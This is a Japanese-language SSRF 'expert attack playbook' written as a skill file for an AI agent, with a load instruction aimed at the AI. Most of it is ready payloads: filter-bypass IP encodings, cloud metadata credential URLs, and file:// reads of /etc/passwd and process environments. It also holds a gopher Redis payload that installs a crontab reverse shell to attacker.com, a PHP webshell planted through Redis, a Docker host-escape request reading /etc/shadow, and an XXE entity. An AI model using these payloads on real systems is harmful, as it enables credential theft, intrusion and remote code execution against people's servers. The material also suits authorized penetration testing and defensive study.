SKILL: Server-Side Request Forgery (SSRF) — エキスパート攻撃プレイブック

AI LOAD INSTRUCTION: エキスパート SSRF 技術。URL フィルタバイパス、クラウドメタデータエンドポイント、プロトコル悪用、ブラインド SSRF 検出、RCE へのチェーン化をカバーします。基本モデルは基本的な 169.254.169.254 を知っています — このファイルは彼らが見落としているものをカバーしています。実際の CVE チェーン、DNS リバインディングの深掘り、K8s SSRF、SSRF → Redis → RCE 完全悪用については、付属の SCENARIOS.md を読み込んでください。

0. クイックスタート

拡張シナリオ

以下が必要な場合は SCENARIOS.md も読み込んでください:

• WebLogic SSRF (CVE-2014-4210) — uddiexplorer/SearchPublicRegistries.jsp + operator パラメータ + %0D%0A CRLF を使った Redis コマンドインジェクション
• SSRF → 内部 Redis → crontab リバースシェル完全ペイロードチェーン
• DNS リバインディング深掘り — TTL=0 トリック、最初は正当 → 2 番目は内部解決、rbndr.us サービス
• Kubernetes SSRF (CVE-2020-8555) と DNS リバインディング経由のバイパス (CVE-2020-8562)
• PDF/スクリーンショットジェネレーター経由の SSRF — HTML-to-PDF の <iframe> と <img>
• Gopher プロトコル完全 TCP インジェクション — Gopherus 経由の Redis、MySQL、FastCGI ペイロード
• フィルタバイパス用 URL パーサー混乱 — #@、\@、%00@、IPv6 マップ IPv4

高度なリファレンス

以下が必要な場合は URL_PARSER_TRICKS.md も読み込んでください:

• URL パーサー差分表: Python urllib vs requests vs Java URL vs PHP parse_url vs Node url.parse vs Go net/url
• 完全クラウドメタデータエンドポイントカタログ (AWS IMDSv1/v2、GCP、Azure、DigitalOcean、Alibaba Cloud、Oracle Cloud、Kubernetes、Hetzner、OpenStack)
• Redis、MySQL、SMTP、FastCGI、Memcached 用 gopher:// ペイロードレシピ (エンコーディングルール付き)
• TTL 操作と TOCTOU 分析を備えた DNS リバインディング詳細攻撃フロー
• PDF/wkhtmltopdf/WeasyPrint/Chrome headless/PhantomJS SSRF パターンと流出技法

URL を取得するパラメータを見つけたばかりの場合は、ここで直接ファーストパス確認を実行してください。

ファーストパスペイロード

http://127.0.0.1/
http://localhost/
http://169.254.169.254/latest/meta-data/
http://[::1]/
http://127.1/

ホスト検証バイパスファミリー

検証タイプ	試す
localhost 文字列をブロック	127.0.0.1、127.1、[::1]
直接 IP のみをブロック	内部 DNS 名、10 進/8 進/16 進 IP 形式
プレフィックス別ホワイトリスト	ユーザー名部分、サブドメイン混乱、リダイレクトチェーン
リダイレクトを追従	内部ターゲットにリダイレクトする無害な外部 URL
1 回パース、2 回フェッチ	混合エンコーディングまたは DNS リバインディング スタイルターゲット

プロトコルルーティング

目的	プロトコル / ターゲット
クラウド認証情報	メタデータ HTTP エンドポイント
内部 HTTP 管理	http://127.0.0.1:port/
Redis / 生 TCP スタイル悪用	gopher://
ローカルファイル読み取り候補	file://
辞書 / バナーテスト	dict://

---

1. SSRF サーフェスを見つける

DNS 名、IP アドレス、または URL を含むパラメータ を探してください:

loc=           url=        path=         endpoint=
imageUrl=      dest=       redirect=     uri=
callback=      load=       file=         resource=
link=          src=        data=         ref=

より明白でない SSRF ベクトル:

• PDF/スクリーンショット生成 (キャプチャ用 URL)
• Webhook 設定フィールド
• URL 経由のインポート/エクスポート (CSV インポート、RSS/Atom フィード)
• OAuth リダイレクト URI (サーバー側フェッチをトリガーすることがあります)
• プロキシチェーン内の X-Forwarded-Host / X-Real-IP ヘッダー
• 外部エンティティ を含む XML DOCTYPE (file://、http://)
• GraphQL @link ディレクティブ (フェデレーション)
• Content-Type: text/html ページが <link> プリロードヘッダーパースされる

---

2. 基本確認方法論

ステップ 1: Burp Collaborator / interact.sh URL を提供
        → サーバーがアウトバウンド接続を開始するかチェック (完全 SSRF 確認)

ステップ 2: コールバックなし → タイムベース テスト (開いているポート = 高速、閉じている = 低速/リセット):
        応答時間を比較:
        http://192.168.1.1:22   (おそらく開いている → 高速)
        http://192.168.1.1:9999 (おそらく閉じている → 低速/タイムアウト)

ステップ 3: localhost サービスにアクセスしてみる:
        http://127.0.0.1:8080
        http://127.0.0.1:22
        http://127.0.0.1:6379  (Redis)
        http://127.0.0.1:9200  (Elasticsearch)
        http://127.0.0.1:5984  (CouchDB)
        http://127.0.0.1:2375  (Docker daemon — クリティカル!)
        http://127.0.0.1:4840  (内部管理)

---

3. クラウドメタデータエンドポイント — 必ず試すべき

AWS EC2 IMDSv1 (認証不要 — クリティカル)

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key

AWS IMDSv2 (トークン必須 — ただし SSRF がトークン取得できるかチェック)

ステップ 1: PUT http://169.254.169.254/latest/api/token
        ヘッダー: X-aws-ec2-metadata-token-ttl-seconds: 21600
ステップ 2: GET http://169.254.169.254/latest/meta-data/
        ヘッダー: X-aws-ec2-metadata-token: TOKEN

SSRF がカスタムヘッダーをサポートしている場合 → IMDSv2 完全バイパス可能。

Google Cloud

http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
ヘッダー: Metadata-Flavor: Google

Azure

http://169.254.169.254/metadata/instance?api-version=2021-02-01
ヘッダー: Metadata: true
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/

Alibaba Cloud

http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/ram/security-credentials/

Kubernetes Service Account

file:///var/run/secrets/kubernetes.io/serviceaccount/token
file:///var/run/secrets/kubernetes.io/serviceaccount/ca.crt
http://kubernetes.default.svc/api/v1/namespaces/default/secrets

---

4. IP アドレスフィルタバイパス技術

169.254.169.254、127.0.0.1、localhost がブロックされている場合:

Localhost バリエーション

127.0.0.1
127.1
127.0.1
127.000.000.001    ← 8 進数パディング
0x7f000001         ← 16 進数
2130706433         ← 10 進数 (0x7f000001)
0177.0000.0000.0001  ← 8 進数
[::]               ← IPv6 ループバック
[::1]              ← IPv6 ループバック
[::ffff:127.0.0.1] ← IPv4 マップ IPv6

169.254.169.254 バリエーション

169.254.169.254
2852039166               ← 10 進数
0xa9fea9fe               ← 16 進数
0251.0376.0251.0376      ← 8 進数
[::ffff:169.254.169.254] ← IPv6
169.254.169.254.nip.io   ← DNS リバインディングサービス

プライベートネットワーク範囲

10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
fc00::/7  ← IPv6 プライベート

DNS 入力経由のフィルタバイパス

フィルタがホスト名ではなく DNS 解決 IP をチェックする場合:

http://attacker.com/  ← DNS A レコードは 169.254.169.254 を指している

DNS リバインディングを使用: 最初の参照は有効な IP を返す → フィルタをパス → 2 番目のリクエストは内部 IP を返す。

---

5. URL スキーム攻撃

http:// が許可されているか弱くフィルタされている場合:

file:///etc/passwd
file:///proc/self/environ
file:///proc/net/arp   ← 内部ネットワーク ARP テーブルを表示
file:///proc/net/tcp   ← オープンネットワーク接続

dict://127.0.0.1:6379/INFO   ← dict:// 経由の Redis INFO コマンド

gopher://127.0.0.1:6379/_INFO%0d%0a   ← gopher 経由の Redis
gopher://127.0.0.1:9200/   ← Elasticsearch

sftp://attacker.com:11111/   ← SFTP 接続をトリガー (認証情報ハッシュ)
ldap://attacker.com:389/     ← LDAP バインドをトリガー
ftp://attacker.com/          ← FTP 接続をトリガー

Redis Gopher SSRF (RCE ポテンシャル完全)

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2456%0D%0A%0D%0A%0A%0A*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0A%0A%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

---

6. ブラインド SSRF 検出

レスポンスがフェッチされたコンテンツを反映しない場合:

1. Burp Collaborator / interact.sh: サーバーからの DNS + HTTP リクエストをチェック
2. ピングバック/webhook 悪用: アプリケーション自身の webhook を自分の URL に設定
3. タイミング分析: 内部開いているポート vs 閉じているポート レスポンス時間差は内部ネットワークトポロジーを明かす
4. エラー分析: 「ホスト見つからない」vs「接続拒否」vs「タイムアウト」で異なるエラーメッセージ

---

7. 内部サービス悪用

Docker API (2375 未認証)

http://127.0.0.1:2375/v1.24/containers/json      ← コンテナをリスト
http://127.0.0.1:2375/v1.24/images/json          ← イメージをリスト
# 特権コンテナを作成 → ホストにエスケープ:
POST http://127.0.0.1:2375/v1.24/containers/create
{"Image":"alpine","Cmd":["cat","/etc/shadow"],"HostConfig":{"Binds":["/:/host"]}}

Elasticsearch (9200 デフォルト認証なし)

http://127.0.0.1:9200/_cat/indices
http://127.0.0.1:9200/.kibana/_search
http://127.0.0.1:9200/INDEX_NAME/_search?q=*

Redis (6379 — 認証なし一般的)

dict://127.0.0.1:6379/CONFIG:SET:dir:/var/www/html
dict://127.0.0.1:6379/CONFIG:SET:dbfilename:shell.php
dict://127.0.0.1:6379/SET:key:<?php system($_GET[c]);?>
dict://127.0.0.1:6379/BGSAVE

内部管理パネル

http://127.0.0.1:8080/admin
http://127.0.0.1:8443/admin
http://127.0.0.1:9000/actuator   ← Spring Boot actuator (公開されたエンドポイント)
http://127.0.0.1:9000/actuator/shutdown
http://127.0.0.1:9000/actuator/env

---

8. SSRF + フィルタバイパス決定木

SSRF パラメータ見つかった?
├── http://169.254.169.254/ を直接試す → ブロック?
│   ├── 10 進/16 進/8 進バリエーションを試す
│   ├── IPv6 バリエーション [::ffff:169.254.169.254] を試す
│   ├── DNS リバインディング (nip.io、カスタム NS) を試す
│   └── リダイレクト: attacker.com → 169.254.169.254 (302) を試す
│
├── http://127.0.0.1/ を試す → ブロック?
│   ├── 127.1 / 127.0.1 / 0x7f000001 / 2130706433 を試す
│   ├── localhost を試す → ブロックされていないかもしれない
│   └── IPv6 [::1] を試す
│
├── どのプロトコルが許可されているか?
│   ├── dict:// → Redis、Memcached をテスト
│   ├── gopher:// → 完全 TCP データインジェクション (Redis/SMTP ターゲット)
│   ├── file:// → ローカルファイル読み取り
│   └── sftp:// ldap:// ftp:// → ネットワークインタラクション
│
└── ブラインド SSRF → Burp Collaborator を使用
    └── DNS のみ → DNS リバインディングまたは OOB DNS 付き SSRF を使用

---

9. SSRF フィルタ考え方

zseano の方法論から: 開発者が 169.254.169.254 のみを直接フィルタするが http://169.254.169.254/latest/meta-data (完全パス) は忘れた場合、または以下を忘れた場合:

• IPv6 等価物
• 内部 IP に解決する DNS 名
• リダイレクトチェーン (サーバーが 302 を内部 IP にフォロー)

クラシック ギャップ: アプリが 127.0.0.1 をフィルタするが 127.1 または [::1] または localhost は フィルタしない。

XML 経由のアプリケーション層 SSRF (アプリが XML をパースする場合):

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<request>&xxe;</request>